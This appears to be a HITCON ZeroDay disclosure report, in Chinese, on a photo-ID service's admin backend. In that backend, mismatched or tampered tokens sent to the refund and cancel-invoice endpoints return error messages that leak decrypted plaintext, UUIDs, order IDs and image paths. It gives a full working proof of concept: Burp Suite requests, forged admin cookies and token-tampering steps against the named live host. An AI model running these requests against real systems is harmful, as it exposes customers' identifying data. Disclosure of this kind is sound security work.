Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00963
- Vendor: 悟空科技股份有限公司
- Title: 悟空科技股份有限公司 跨用途 token 可進入相同解析流程,差異化錯誤訊息導致解密後明文與使用者識別資訊外洩
- Introduction: 後台不同端點取得的 token 可進入相同或高度相容的解析流程。當 token 類型不符或內容遭變造時,後端會回傳差異化錯誤訊息,並暴露解析階段、解密失敗的明文殘片或完整解密後內容,進而洩漏使用者識別資訊、token 內部資料結構,以及與圖片資源相關的內部資料字串。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/07/28 10:26:32 : 新提交 (由 更新此狀態)
- 2026/07/28 11:06:54 : 新提交 (由 更新此狀態)
- 2026/07/28 11:59:04 : 新提交 (由 更新此狀態)
- 2026/08/03 12:58:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/27 03:00:21 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
```text
https://helper.diyidphoto.com/api/refund
https://helper.diyidphoto.com/api/cancel-invoice
```
### 取得 token 的端點
```text
https://helper.diyidphoto.com/api/orders/search/date?diy_type=tw
https://helper.diyidphoto.com/api/orders/search/date?diy_type=ja
https://helper.diyidphoto.com/api/gallery/list?site=tw
```
### 訂單圖片端點
```text
https://helper.diyidphoto.com/api/order/img/origin/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/face/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/ruler/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/beauty/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/final/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal_711/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/formal_family/<Image_Token>?t=<timestamp>
https://helper.diyidphoto.com/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>
```
### Gallery 圖片端點
```text
https://helper.diyidphoto.com/api/gallery/img/<Origin_Token>
https://helper.diyidphoto.com/api/gallery/img/<Final_Token>
https://helper.diyidphoto.com/api/gallery/img/<PreviewOrigin_Token>
https://helper.diyidphoto.com/api/gallery/img/<PreviewFinal_Token>
```
敘述
0. 摘要(Summary)
如同低權限後台帳號可繞過 RBAC所述,在測試後台管理頁面 https://helper.diyidphoto.com/ 時可發現:
-
請求
POST /api/orders/search/date?diy_type=tw或POST /api/orders/search/date?diy_type=ja後,可取得OrderID以及兩種 token,其分別為Order_Token與Image_Token -
請求
POST /api/gallery/list?site=tw後,可取得四種 token,分別為Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token -
在訂單查詢(
/orders)功能,有以下兩項牽涉到敏感操作的端點:
POST /api/refund # 退款功能,請求需攜帶 `OrderID` 與 `Token` 參數。
POST /api/cancel-invoice # 取消發票功能,請求需攜帶 `OrderID` 與 `Token` 參數。
將上述共六種 token 放入上述敏感操作端點的 Token 參數,可區分以下四種情境:
(本報告為保持最小測試與不影響商業營運,皆使用未付款訂單之資料)
-
Order_Token-
token 未經變造
-
與取得的
OrderID匹配,此為情境一,錯誤訊息依端點不同,會顯示如下: -
/api/refund端點顯示該筆訂單編號不存在: <OrderID> -
/api/cancel-invoice端點回傳{"error_code":0,"error_text":"","data":null},未顯示錯誤訊息 -
與取得的
OrderID不匹配,此為情境二,錯誤訊息依端點不同,會顯示如下: -
/api/refund端點顯示valid order not found -
/api/cancel-invoice端點顯示訂單編號不匹配
-
-
token 經變造,此為情境三,錯誤訊息會顯示明文殘片,例如:
-
encoding/hex: ...
crypto/cipher: input not full blocks
解密後,資料數量不是三個
解密後,資料數量不是pure
runtime error: slice bounds out of range
這裡需注意的是,透過明文殘片可拼湊出 Order_Token 明文格式為 pure|<UUID>|<OrderID>
-
其它五種 token(
Image_Token、Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token)- token 未經變造,無論與
OrderID匹配或不匹配,此為情境四,錯誤訊息會顯示如下:
- token 未經變造,無論與
解密後,資料數量不是pure! admin|<UUID>|<OrderID>
解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg
這裡需注意的是,錯誤訊息中的 UUID、OrderID、Date 等資訊是根據放入的 token 而決定;
意即使用他人的 token 時,錯誤訊息會洩漏其 UUID、Date 及解密後資料結構。
- token 經變造,如同情境三。
此漏洞洩漏了以下資訊:
-
後台中的 token 為十六進位編碼的加密資料,後端會先進行解碼與解密。
-
後端會對 token 做 hex decode、block decrypt、明文切割、
TYPE檢查等行為。 -
台日站點皆受影響,不同端點(
/orders與/gallery)之多筆訂單(Order_Token)和多種圖片類型(Image_Token與Origin_Token等)的 token,可被相同或高度相容的解密機制解析。 -
不同用途的 token 可進入相同或相容的解密流程,後端再依解密後的
TYPE欄位判斷是否符合端點預期;共用流程本身不必然構成漏洞,問題在於錯誤回應暴露了解密後內容與內部處理階段。
1. 受影響功能(Affected Feature)
-
功能:後台訂單操作、圖片讀取與營運操作 token 驗證流程
-
受影響端點:
POST /api/refundPOST /api/cancel-invoice
-
受影響參數:
OrderIDToken
-
主要觀察 token 類型:
- 透過
/orders路徑取得之 token,如以下:
- 透過
{
"error_code": 0,
"error_text": "",
"data": [
{
"orderID": "<OrderID>",
"token": "<Order_Token>",
...,
"images": {
"origin": "/api/order/img/origin/<Image_Token>?t=<timestamp>",
"face": "/api/order/img/face/<Image_Token>?t=<timestamp>",
"ruler": "/api/order/img/ruler/<Image_Token>?t=<timestamp>",
"beauty": "/api/order/img/beauty/<Image_Token>?t=<timestamp>",
"final": "/api/order/img/final/<Image_Token>?t=<timestamp>",
"formal": "/api/order/img/formal/<Image_Token>?t=<timestamp>",
"formal711": "/api/order/img/formal_711/<Image_Token>?t=<timestamp>",
"formalFamily": "/api/order/img/formal_family/<Image_Token>?t=<timestamp>",
"receipt": "/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>"
}
},
...
]
}
- 透過
/gallery路徑取得之 token,如以下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"Name": "origin_<OrderID>_<Numbers>",
"Origin": "/api/gallery/img/<Origin_Token>",
"Final": "/api/gallery/img/<Final_Token>",
"PreviewOrigin": "/api/gallery/img/<PreviewOrigin_Token>",
"PreviewFinal": "/api/gallery/img/<PreviewFinal_Token>",
"Size": "<Size>",
"PrePay": <PrePay>
},
...
]
}
- 已觀察到的明文型態包含:
pure|<UUID>|<OrderID>
admin|<UUID>|<OrderID>
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg
2. 漏洞驗證之前置條件(Preconditions for Verification)
- 需要擁有一個可登入
helper.diyidphoto.com後台的 PB user 帳號,建議該帳號"role": ["admin"]會比較方便測試。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。 - 不需要實際完成退款或實際作廢發票。
3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)
以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。
步驟 1:準備測試資料、登入後台並取得六種 token
-
在 Burp Suite 的瀏覽器連上台灣站
https://diyidphoto.com/zh-tw/或日本站https://jp.diyidphoto.com/上傳 2 張測試圖片,並一路進行到付款頁面;付款方式選擇街口支付、LINE Pay、PayPay 等掃碼式支付方式以避免實際付款,填妥相關資料並點擊確定後,網站會跳轉至 QR code 付款頁面。 -
瀏覽器另一個分頁開啟
https://helper.diyidphoto.com/login,並使用已建立的帳號及密碼登入。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。 -
順利登入後,點選左側管理控制面板(admin panel)進入訂單管理頁面(
/orders);接著根據今日日期搜尋訂單,應會看見包含其他使用者與剛剛上傳的圖片與訂單資訊(包括OrderID)。若在日本站上傳測試圖片,需-點擊左上角 DIY 旁類似雙彎曲箭頭的按鈕-切換為日本站後台,再到訂單管理頁面進行查詢。 -
在 Burp Suite 的 Proxy 頁籤中的 HTTP history,應可看到
POST /api/orders/search/date?diy_type=tw或POST /api/orders/search/date?diy_type=ja請求,其 Response 回傳各訂單相關資訊,如以下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"orderID": "<OrderID>",
"token": "<Order_Token>",
...,
"images": {
"origin": "/api/order/img/origin/<Image_Token>?t=<timestamp>",
"face": "/api/order/img/face/<Image_Token>?t=<timestamp>",
"ruler": "/api/order/img/ruler/<Image_Token>?t=<timestamp>",
"beauty": "/api/order/img/beauty/<Image_Token>?t=<timestamp>",
"final": "/api/order/img/final/<Image_Token>?t=<timestamp>",
"formal": "/api/order/img/formal/<Image_Token>?t=<timestamp>",
"formal711": "/api/order/img/formal_711/<Image_Token>?t=<timestamp>",
"formalFamily": "/api/order/img/formal_family/<Image_Token>?t=<timestamp>",
"receipt": "/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>"
}
},
...
]
}
記住自己上傳的兩個測試圖片的 OrderID、Order_Token 與 Image_Token;前兩者會在步驟 3 使用,最末者會在步驟 5 使用。
在接下來的步驟中,如有需要區分兩個測試圖片的 OrderID、Order_Token 與 Image_Token,會用以下表示法區分:
- 第 1 個測試圖片:
<OrderID_1>、<Order_Token_1>、<Image_Token_1> - 第 2 個測試圖片:
<OrderID_2>、<Order_Token_2>、<Image_Token_2>
-
點選左側管理控制面板進入已上傳照片集(
/gallery)功能,應會看見今日包含其他使用者與剛剛上傳的圖片。 -
在 Burp Suite 的 HTTP history,應可看到
POST /api/gallery/list?site=tw請求,其 Response 回傳各訂單相關資訊,如以下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"Name": "origin_<OrderID>_<Numbers>",
"Origin": "/api/gallery/img/<Origin_Token>",
"Final": "/api/gallery/img/<Final_Token>",
"PreviewOrigin": "/api/gallery/img/<PreviewOrigin_Token>",
"PreviewFinal": "/api/gallery/img/<PreviewFinal_Token>",
"Size": "<Size>",
"PrePay": <PrePay>
},
...
]
}
記住自己上傳的兩個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,以便在步驟 6 使用。
在接下來的步驟中,若有需要區分兩個測試圖片的 Origin_Token、Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,會用以下表示法區分:
- 第 1 個測試圖片:
<Origin_Token_1>、<Final_Token_1>、<PreviewOrigin_Token_1>、<PreviewFinal_Token_1> - 第 2 個測試圖片:
<Origin_Token_2>、<Final_Token_2>、<PreviewOrigin_Token_2>、<PreviewFinal_Token_2>
步驟 2:確認敏感操作端點需要 OrderID 與 Token 參數
- 在 Burp Suite 的 HTTP history,對任一 Host 為 helper.diyidphoto.com 之請求,點選右鍵,發送至 Repeater,接著修改其請求路徑為以下:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{}
目的是對 refund 端點送出空 JSON body,確認此端點需要 OrderID 與 Token。
送出該請求後,在 Response 可見
{
"error_code": 9901,
"error_text": "Key: 'RefundRequest.OrderID' Error: Field validation for 'OrderID' failed on the 'required' tag\nKey: 'RefundRequest.Token' Error: Field validation for 'Token' failed on the 'required' tag",
"data": null
}
即代表 OrderID 與 Token 為必要欄位。
- 對
cancel-invoice端點做相同測試:
POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{}
送出請求後,在 Response 可見
{
"error_code": 9901,
"error_text": "Key: 'CancelInvoice.OrderID' Error: Field validation for 'OrderID' failed on the 'required' tag\nKey: 'CancelInvoice.Token' Error: Field validation for 'Token' failed on the 'required' tag",
"data": null
}
這代表 OrderID 與 Token 為必要欄位。
以下依序驗證四個情境。
步驟 3:驗證未變造的 Order_Token
情境一:Order_Token 與 OrderID 匹配
將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與 Order_Token 填入以下端點,並進行請求:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Order_Token_1>"
}
送出請求後,在 Response 可見 該筆訂單編號不存在: <OrderID>
POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Order_Token_1>"
}
送出請求後,在 Response 可見 {"error_code":0,"error_text":"","data":null},未顯示錯誤訊息
情境二:Order_Token 與 OrderID 不匹配
將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與第 2 個測試圖片的 Order_Token 填入以下端點,並進行請求,造成兩者不匹配:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Order_Token_2>"
}
送出請求後,在 Response 可見 valid order not found
POST /api/cancel-invoice HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Order_Token_2>"
}
送出請求後,在 Response 可見 訂單編號不匹配
步驟 4:驗證 token 經變造時的錯誤回應
情境三:token 經變造
由於 POST /api/refund 與 POST /api/cancel-invoice 的結果相同,以下皆以 POST /api/refund 為例。
步驟 4.1:送入不合規的十六進位 token,觸發 hex decode 錯誤
- 對
refund送入不合規或不完整十六進位 token,OrderID填寫步驟 1 中任一測試圖片的OrderID,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID>",
"Token": "a"
}
送出請求後,在 Response 可見 encoding/hex: odd length hex string
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID>",
"Token": "g"
}
送出請求後,在 Response 也可見 encoding/hex: invalid byte: U+0067 'g'
同樣出現 hex decode 相關錯誤。
這一步確認後端會把 token 當作十六進位編碼資料處理。
步驟 4.2:送入合規十六進位但長度不符的 token,觸發區塊長度(block length)錯誤
- 對同一端點送入合規十六進位,但長度不符合區塊大小(block size)的 token,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID>",
"Token": "00"
}
送出請求後,在 Response 可見crypto/cipher: input not full blocks (9998)
代表出現區塊加密(Block Cipher)類錯誤。
這一步用來確認 token 經 hex decode 後會進入區塊解密(block decrypt)類處理流程。
步驟 4.3:送入長度相符(block-aligned)的 Token,觸發解密後解析錯誤
- 送入長度符合區塊大小的十六進位 token,例如:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID>",
"Token": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
}
送出請求後,在 Response 可見 解密後,資料數量不是三個! \ufffd\ufffd\u0001\ufffd\ufffd\ufffd\u0019P1\ufffdV,\ufffd'\tH\ufffd\ufffd)\ufffd\ufffd\ufffd d\u001b\ufffd5J\ufffd\u001f\u003c\t\ufffd\ufffd)\ufffd\ufffd\ufffd d\u001b\ufffd5J\ufffd\u001f\u003c\t\ufffd\ufffd)\ufffd\ufffd\ufffd
這代表 token 經過解密後進入資料解析階段,資料被檢查與核對數量。
步驟 4.4:微幅修改 token,觸發解密後解析或邊界處理錯誤
將 token 中其中一個 hex 字元改為另一個 hex 字元。
由於 6 個 token 修改後放入請求的結果大致相同,以下將以 Order_Token 為例,並提供三種修改方式:
原始 token
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
- 修改第 1 位、第 32 位、第 64 位或最末端字元為隨機 hex 字元,例如以下:
第 1 位改為隨機值(8 → e)
e6b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
第 32 位改為隨機值(1 → a)
86b61aec7f82e0b5e1f4b6a89c01f38a1f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
第 64 位改為隨機值(d → 4)
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da0669845b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
最末端字元改為隨機值(9 → c)
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388c
- 修改第 1 位、第 32 位、第 64 位或最末端字元為 0,例如以下:
第 1 位改為0(8 → 0)
06b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
第 32 位改為0(1 → 0)
86b61aec7f82e0b5e1f4b6a89c01f3801f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
第 64 位改為0(d → 0)
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da0669805b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
最尾端字元改為0(9 → 0)
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3880
- 只修改最末端字元,但將 hex 字元全輪一遍,例如以下:
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3880
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3881
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3882
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3883
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3884
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3885
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3886
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3887
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3888
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb3889
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388a
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388b
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388c
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388d
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388e
86b61aec7f82e0b5e1f4b6a89c01f3811f4b99a60771c63e55ba6b46da06698d5b36fc4372885e695d9cdad7d0e39bc3e23d7be11d1b71240bb111ab60bb388f
將以上修改後的 token 放入請求中:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID>",
"Token": "<Order_Token_Edited>"
}
送出請求後,在 Response 可見不同類型的錯誤訊息,包括以下:
runtime error: slice bounds out of range ...
valid order not found / 訂單編號不匹配
解密後,資料數量不是三個! ...
解密後,有資料為空! ...
解密後,資料數量不是pure! ...
這些錯誤類型代表,token 已從解密階段推進到 split / TYPE check 階段,並進入解密後解析或邊界處理。
而由於以上錯誤類型會混合一些明文殘片,透過拼湊明文殘片可得到 Order_Token 經解密後,其明文格式為 pure|<UUID>|<OrderID>。
步驟 5:驗證未變造的 Image_Token(情境四)
步驟 5.1:Image_Token 與 OrderID 匹配
將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與 Image_Token 填入以下端點,並進行請求:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Image_Token_1>"
}
送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:
解密後,資料數量不是pure! admin|<UUID_1>|<OrderID_1>
步驟 5.2:Image_Token 與 OrderID 不匹配
將在步驟 1 中,透過 /api/orders/search/date 端點取得的第 1 個測試圖片的 OrderID 與第 2 個測試圖片的 Image_Token 填入以下端點,造成兩者不匹配:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Image_Token_2>"
}
送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:
解密後,資料數量不是pure! admin|<UUID_2>|<OrderID_2>
綜合以上,可知:
-
經由
/api/orders/search/date端點取得的Order_Token與Image_Token,可被相同或相容的機制解密 -
Order_Token與Image_Token的明文格式為TYPE|<UUID>|<OrderID>,其 TYPE 會是 pure 或 admin -
POST /api/refund與POST /api/cancel-invoice端點,在解密 token 後會進行 TYPE check,檢查 TYPE 是否為 pure;不為 pure,則回傳包含解密後明文的錯誤訊息 -
若取得他人
Image_Token-即便OrderID不匹配-放入端點解密後,錯誤訊息會額外洩漏原始取得端點未直接顯示的UUID,以及完整的解密後資料結構
步驟 6:驗證未變造的 Gallery token(情境四)
步驟 6.1:其它四種 token 與 OrderID 匹配
將在步驟 1 中:
- 透過
/api/orders/search/date端點取得的第 1 個測試圖片的OrderID - 透過
/api/gallery/list端點取得的第 1 個測試圖片的Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token
填入以下端點並進行請求,以下以 Origin_Token 為例:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Origin_Token_1>"
}
送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/origin_<OrderID_1>_<Numbers_1>.jpg
而放入 Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,送出請求後,在 Response 的錯誤訊息中直接可見解密後明文如下:
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/final_<OrderID_1>_<Numbers_1>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/preview_origin_<OrderID_1>_<Numbers_1>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_1>/<First_Two_Digits_Of_Numbers_1>/preview_final_<OrderID_1>_<Numbers_1>.jpg
步驟 6.2:其它四種 token 與 OrderID 不匹配
將在步驟 1 中:
- 透過
/api/orders/search/date端點取得的第 1 個測試圖片的OrderID - 透過
/api/gallery/list端點取得的第 2 個測試圖片的Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token
填入以下端點,並進行請求,以下以 Origin_Token 為例:
POST /api/refund HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D
{
"OrderID": "<OrderID_1>",
"Token": "<Origin_Token_2>"
}
送出請求後,在 Response 的錯誤訊息中直接可見解密後明文,如下:
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/origin_<OrderID_2>_<Numbers_2>.jpg
而放入 Final_Token、PreviewOrigin_Token 與 PreviewFinal_Token,送出請求後,在 Response 的錯誤訊息中直接可見解密後明文如下:
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/final_<OrderID_2>_<Numbers_2>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/preview_origin_<OrderID_2>_<Numbers_2>.jpg
解密後,資料數量不是三個! gallery|gallery/<Date_2>/<First_Two_Digits_Of_Numbers_2>/preview_final_<OrderID_2>_<Numbers_2>.jpg
經過上述步驟後,可知:
-
經由
/api/gallery/list端點取得的Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token,也可被相同或相容的機制解密 -
Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token的明文格式為:
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg
- 若取得他人
Origin_Token、Final_Token、PreviewOrigin_Token與PreviewFinal_Token-即便OrderID不匹配-放入端點解密後,錯誤訊息會額外洩漏原始取得端點未直接顯示的Date,以及完整的解密後資料結構
4. 預期行為(Expected Behavior)
後端拒絕不符預期的 token 後,應回覆一致且模糊化的錯誤訊息。
不同用途的 token 應綁定不同的 scope / audience / action。
5. 實際行為(Actual Behavior)
後端會依不同的 token 回傳不同錯誤訊息,且錯誤訊息中洩漏:
- 內部 token 驗證流程
- 解密失敗的明文殘片或解密後明文,如以下:
pure|<UUID>|<OrderID>
admin|<UUID>|<OrderID>
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/final_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_origin_<OrderID>_<Numbers>.jpg
gallery|gallery/<Date>/<First_Two_Digits_Of_Numbers>/preview_final_<OrderID>_<Numbers>.jpg
這表示不同端點或用途的 token 共用相同或相似的解密流程;共用流程本身不必然構成漏洞,問題在於錯誤訊息暴露了解密後內容與內部處理階段。
錯誤訊息 解密後,資料數量不是pure! 顯示,後端至少在完成部分解密或解析後,才判斷 token 是否適用於此端點或操作。
